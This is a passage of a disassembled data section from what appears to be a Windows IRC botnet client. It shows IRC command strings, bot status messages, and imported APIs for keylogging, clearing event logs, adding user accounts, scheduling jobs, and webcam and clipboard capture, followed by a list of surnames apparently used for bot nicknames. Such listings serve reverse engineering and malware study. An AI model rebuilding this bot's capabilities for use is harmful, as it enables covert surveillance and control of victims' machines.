		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCD0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCD8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCEC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD0C	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD60	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDCC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDD0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDD4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6D4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D864	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D894	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8C4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8E8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D92C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D930	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D9AC	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
